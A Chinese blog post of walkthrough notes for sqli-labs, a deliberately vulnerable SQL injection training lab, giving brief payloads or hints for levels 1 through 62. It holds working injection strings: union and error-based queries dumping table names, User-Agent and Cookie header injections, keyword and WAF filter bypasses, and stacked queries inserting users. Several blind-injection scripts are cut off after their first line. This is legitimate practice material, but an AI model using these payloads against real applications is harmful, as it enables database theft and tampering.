sqli-labs
之前的一些关于 sqli-labs 的练习
Less-1(单引号 union 注入)
1 | ?id=' union select 1,2,group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = database()--+ |
Less-2(无引号 union 注入)
1 | ?id=0 union select 1,2,group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = database()--+ |
Less-3(单引号括号 union 注入)
1 | ?id=') union select 1,2,group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = database()--+ |
Less-4(双引号 union 注入)
1 | ?id=") union select 1,2,group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = database()--+ |
Less-5(单引号双注入)
1 | ?id=1' union select 1,count(*),concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1), '~',floor(rand()*2)) as a from information_schema.tables group by a--+ |
Less-6(双引号双注入)
1 | ?id=1" union select 1,count(*),concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1), '~',floor(rand()*2)) as a from information_schema.tables group by a--+ |
Less-7(一句话木🐎)
1 | @@datadir 读取数据库路径 |
Less-8(单引号布尔盲注)
1 | import requests |
Less-9(单引号时间盲注)
1 | import requests |
Less-10(双引号时间盲注)
1 | Less-9 单引号改双引号 |
Less-11(用户名加密的单引号 union 注入)
1 | uname = admin'# |
Less-12(用户名加密的双引号括号 union 注入)
1 | uname = admin")# |
Less-13(用户名的单引号括号双注入)
1 | admin') union select count(*),concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'~',floor(rand()*2)) as a from information_schema.tables group by a# |
Less-14(用户名的双引号双注入)
1 | less-13 单引号括号改双引号 |
Less-15(用户名的单引号布尔注入)
1 | import requests |
Less-16(用户名的双引号括号布尔注入)
1 |
Less-17(用户名加密的单引号报错注入)
1 |
Less-18(User-Agent 报错注入)
1 | User-Agent: ' or updatexml(1,concat('~',(select table_name from information_schema where table_schema=database),'~'),1) or |
Less-19(Referer 报错注入)
1 |
Less-20(User-Agent 报错注入)
1 | 上 burpsuite 修改 Cookie: |
Less-21(User-Agent 加密报错注入)
1 | less-20 单引号改单引号括号再用 base64 加密 |
Less-22(User-Agent 加密报错注入)
1 | less-20 单引号改双引号再用 base64 加密 |
Less-23 (过滤注释)
1 | ?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and '1 |
Less-24 (二次排序漏洞)
1 | 先注册一个 admin'# 账号再修改 admin'# 的密码,新密码即为 admin 的密码。 |
Less-25 (过滤 or & and)
1 | 一次性关键词绕过 用 oorr 和 aandnd 绕过 |
Less-25a(过滤 or & and )
1 | 表面上是盲注,背地里是 less-25 无引号的 union 注入... |
Less-26 (过滤空格和注释的报错注入)
1 | 本题全部空格都过滤了,所以采取报错注入 |
Less-26a(过滤空格和注释的布尔注入)
1 | 空格全部被过滤,此题又不能进行报错注入,所以采取布尔注入 |
Less-27 (过滤 nion 和 select 的 union 注入)
1 | union 注入: |
Less-27a(过滤 nion 和 select 的时间盲注)
1 | 双引号 + 时间盲注 |
Less-28(过滤 nion 和 select 的 union 注入)
1 | 有个小bug,网上的 payload 都是 union 注入,但是我的空格不能用 %a0 绕过...所以只好用布尔盲注 |
Less-28a(过滤 union 和 select 的布尔注入)
1 | 同 less-28 |
Less-29(WAF1)
1 | 这题是???签到题??? |
Less-30(WAF2)
1 | less-29 单引号改双引号 |
Less-31(WAF3)
1 | less-29 单引号改双引号括号 |
Less-32(宽字节注入)
1 | 基于 get 方法的宽字节注入,加 %df 绕过 |
Less-33(宽字节注入)
1 | 同 less-32 |
Less-34(用户名和密码加反斜杠)
1 | 基于 post 的宽字节注入,又可以将 utf-8 转换为 utf-16 或 utf-32,例如将'转为 utf-16 为 %EF%BF%BD'/�' |
Less-35(加反斜杠没引号的 union 注入)
1 | ?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ |
Less-36(基于 get 的 mysql_real_escape_string() 函数的 union 注入)
1 | 同 less-32 |
Less-37(基于 post 的 mysql_real_escape_string() 函数的 union 注入)
1 | 同 less-34 |
Less-38(堆叠注入)
1 | stacked injection:在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。所以我们可以利用分号进行多聚输入。 |
Less-39(堆叠注入)
1 | ?id=1;insert into users(id,username,password) values(16,'less39','less39') -- + |
Less-40(堆叠注入)
1 | ?id=1');insert into users(id,username,password) values(17,'less40','less40') -- + |
Less-41(堆叠注入)
1 | 同 less-39 区别于无报错信息 |
Less-42(堆叠注入)
1 | 用户名做了转义处理,可以对密码进行堆叠注入 |
Less-43(堆叠注入)
1 | 类似 less-42,只是多了个括号 |
Less-44(堆叠注入)
1 | 同 less-42 只是没有报错信息 |
Less-45(堆叠注入)
1 | 同 less-43 只是没有报错信息 |
Less-46(order by 注入)
1 | 此题可考虑报错注入和延时注入: |
Less-47 (order by 注入)
1 | 类似 less-46 只是多了一个单引号 |
Less-48(order by 盲注)
1 | 类似 less-46 无报错信息,所以需要盲注 |
Less-49(order by 盲注)
1 | 类似 less-48 多了一个单引号 |
Less-50(order by 堆叠注入)
1 | 这题使用 mysqli_multi_query 函数,所以可以执行多个语句。 |
Less-51(order by 堆叠注入)
1 | 类似 less-50 多了一个单引号 |
Less-52(order by 堆叠注入)
1 | 同 less-50 没有了注释 |
Less-53(order by 堆叠注入)
1 | 同 less-51 没有了注释 |
Less-54(挑战1)
1 | 依旧是字符型注入,只不过只有十次机会,密码就在 secret 列名里面 |
Less-55(挑战2)
1 | 类似 less-54 加了一个括号 |
Less-56(挑战3)
1 | 类似 less-54 加了一个单引号括号 |
Less-57(挑战4)
1 | 类似 less-54 加了一个双引号 |
Less-58(挑战5)
1 | union 注入失败,但是可以进行报错注入,这次是单引号型的 |
Less-59(挑战6)
1 | 类似 less-58 这次是纯数字型 |
Less-60(挑战7)
1 | 类似 less-58 这次是双引号括号型的 |
Less-61(挑战8)
1 | 类似 less-58 这次真的猜不出...原来是单引号加两层括号... |
Less-62(挑战9)
1 | 单引号括号型,但是 union 注入和报错注入已经失效,页面信息也没有变化 |
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.